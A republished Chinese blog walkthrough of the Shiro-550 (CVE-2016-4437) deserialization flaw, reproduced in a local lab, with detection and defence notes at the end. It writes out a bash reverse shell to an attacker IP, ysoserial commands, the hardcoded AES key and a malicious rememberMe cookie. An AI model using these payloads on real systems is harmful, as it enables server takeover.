0


Shiro-550漏洞分析与复现(CVE-2016-4437)

1.Shiro介绍

Shiro是一个由Apache提供的功能强大且易于使用的Java框架,它主要用于实现身份验证、授权、加密和会话管理等安全功能

2.Remember Me功能

Shiro中实现身份验证主要是靠Remember Me(记住我)功能,它允许用户在关闭浏览器后再次访问时无需重新登陆。用户登陆成功后生成一个加密的、包含用户身份信息的序列化对象,加密过程是 *身份信息 -- 序列化 -- AES加密 -- base64编码 ,然后储存在remember Me的cookie中。当用户再次登录时,浏览器会携带这个remember Me发送给服务器。服务器解析从而获得用户身份信息,实现免登录访问,过程就是base64编码 -- AES加密 -- 序列化 -- 身份信息*

3.漏洞分析

Shiro550漏洞的关键在于AES密钥是硬编码。由于密钥是公开的,攻击者可以轻松的构造恶意的序列化对象,并使用相同的密钥进行加密,然后将加密的恶意对象注入到RememberMe Cookie中

当受害用户再次访问网站时,服务器会尝试解密并反序列化RememberMe Cookie中的内容。如果cookie中包含的是恶意序列化对象,那么反序列化过程中就会执行恶意代码,导致安全漏洞

4.漏洞验证

进行漏洞复现前,应该先验证漏洞是否存在。

未登录时:请求包的cookie中不应该有”rememberMe”字段,同时返回包的”set-Cookie”中也不应该有”rememberMe=deleteMe”字段

登录失败时:无论是否勾选”rememberMe”,返回的set-Cookie中通常会有”rememberMe=deleteMe”字段,但是这并不能直接说明存在漏洞

不勾选”rememberMe”登陆成功时:返回包的set-Cookie中会有”rememberMe”字段,但之后的所有请求中cookie都不会有”rememberMe”字段

勾选”rememberMe”登录成功时:返回包的set-cookie中不仅有”rememberMe=deleteMe”字段,还会有”remember”字段(包含加密和编码后的信息),之后所有的请求中cookie都会包含”rememberMe”字段

5.实验准备

攻击机kali ip: 192.168.3.183

靶机ubuntu ip: 192.168.3.163

需要用的工具地址:fffffw1/shiro_exploit at master (github.com)https://github.com/fffffw1/shiro_exploit/tree/master

这里我直接下载在靶机里。

为什么我在本机下载只能复制.py到靶机里,不能复制.jar到靶机里,有没有大佬帮我解答一下

我下载的shiro_attack这个自动化的软件是坏的 。。。

6.实验步骤

1.打开靶场

docker-compose up -d

输入你的ip+8080端口,即192.168.3.163:8080

2.用bp抓包查看

3.攻击机开启端口监听

nc -lvvp 6666

4.扫描AES加密的密钥

 python3 shiro_exploit.py -u http://192.168.3.163:8080

会报错 No module named 'Crypto',我们执行

pip install pycryptodome --break-system-packages

AES密钥kPH+bIxk5D2deZiIxcaaaA==

你会发现你没扫描到AES密钥,哈哈哈

这个原因是你的java版本不正确,需要安装jdk8

sudo apt-get install openjdk-8-jdk

切换jdk版本

sudo update-alternatives --config java

5.构建反弹shell

bash -i >& /dev/tcp/192.168.3.183/6666 0>&1

我们对反弹shell的命令进行base64编码

Runtime.exec Payload Generater | AresX's Blog

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMuMTgzLzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}

接下来我们利用序列化工具ysoserial.jar生成payload作用于靶机

这条命令配置了一个 JRMPListener 服务器,它监听在 TCP 端口 7777 上,准备接收通过 Java 远程方法协议(JRMP)发送的反序列化数据,并利用 CommonsCollections5 漏洞执行反弹shell命令

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 7777 CommonsCollections5  "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMuMTYzLzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}"

6.生成一个针对 Apache Shiro rememberMe 功能的、经过 AES 加密并 Base64 编码的攻击载荷令牌

现在可以把我们第4步扫描到的AES密钥 kPH+bIxk5D2deZiIxcaaaA== 填在shiro.py文件中

生成一个针对 rememberMe 功能的 AES 加密并 Base64 编码的字符串

python2 shiro.py 192.168.3.163:7777

注意shiro.py的位置应当保证和ysoserial.jar在同一目录下,否则会报错找不到ysoserial.jar

rememberMe=6PugXuV8QeuuEwwPmezTO/bACLLHwDcedMJPBUFPEb4sIRGUYaxux4vqUATXl2vqjB+R0TVs/2Mvq1y5U23fCAoB8eXakTn56wfvSoX88OcRwjUAVi+yYnvcnZdsAqExBntdR0UevbLngr0MQp2eN74scQFkTodhlokJVIm8nziQzYx0mpgS8nLNjSVXKxtiaBULa3+mdTn183uQxLxMIzwEo7oRCmOTmNHuZj1INE/1Y0arW04tfitT2xbJtAE55D6y5pM9Ooi41upZqY398C22xgbm1Oubc1ld7wcJyikzQtO7srfwvxlYNYyjoOrR/9gFuPj3+76RhxrNHW3eI7o0QWDuuabobFoMUZEWdEh7wGgY7O84gUGEHHdmA3Sk/aNboTHjyn9odkUu4G+NIg==

7.获取反弹shell

点击提交出现如下图所示

两个监听的终端都有反应即为正常,没反应可能是构建反弹shell的ip错误


8.维持权限,创建后门等

7.流量特征

http请求头中有rememberme的字样和base64编码,把cookie值复制出来,解码再解密,就会发现恶意函数

8.防御

修改加密密钥,不随意使用公共密钥

升级版本,密钥硬编码问题存在于1.2.4以下的版本,升级到高版本,密钥就是随机生成的

禁用rememberme功能

标签: 安全

本文转载自: https://blog.csdn.net/weixin_50853870/article/details/140708580
版权归原作者 人们并不感谢罗辑 所有, 如有侵权,请联系我们删除。

“Shiro-550漏洞分析与复现(CVE-2016-4437)”的评论:

还没有评论